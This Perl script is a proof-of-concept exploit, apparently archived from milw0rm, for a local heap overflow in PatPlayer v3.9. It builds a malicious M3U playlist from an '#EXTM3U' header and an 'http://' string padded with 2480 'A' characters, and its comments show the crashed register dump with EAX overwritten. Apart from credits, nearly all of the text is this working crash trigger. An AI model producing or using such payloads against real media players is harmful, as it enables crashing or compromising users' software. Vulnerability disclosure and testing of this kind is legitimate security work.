34 lines
No EOL
811 B
Perl
Executable file
34 lines
No EOL
811 B
Perl
Executable file
#!/usr/bin/perl
|
|
#
|
|
#
|
|
#
|
|
# PatPlayer v3.9 (M3U File) Local Heap Overflow PoC
|
|
#
|
|
#
|
|
# Found By : Cyber-Zone (ABDELKHALEK)
|
|
#
|
|
#
|
|
# Greatz : All friends (Jiko :)) Sec-r1z.CoM ..... IQ-TY ....
|
|
#
|
|
#
|
|
#EAX 41414141
|
|
#ECX 00000000
|
|
#EDX 004F1FC0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
|
|
#EBX 00B928DC
|
|
#ESP 0012FD2C
|
|
#EBP 0012FD78
|
|
#ESI 004F1CCC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
#EDI 004EEA78 PatPlaye.004EEA78
|
|
#EIP 00404C59 PatPlaye.00404C59
|
|
#
|
|
my $Header = "#EXTM3U\n";
|
|
|
|
my $ex="http://"."A" x 2480; # Random
|
|
|
|
open(MYFILE,'>>cyber.m3u');
|
|
|
|
print MYFILE $Header.$ex;
|
|
|
|
close(MYFILE);
|
|
|
|
# milw0rm.com [2009-07-10] |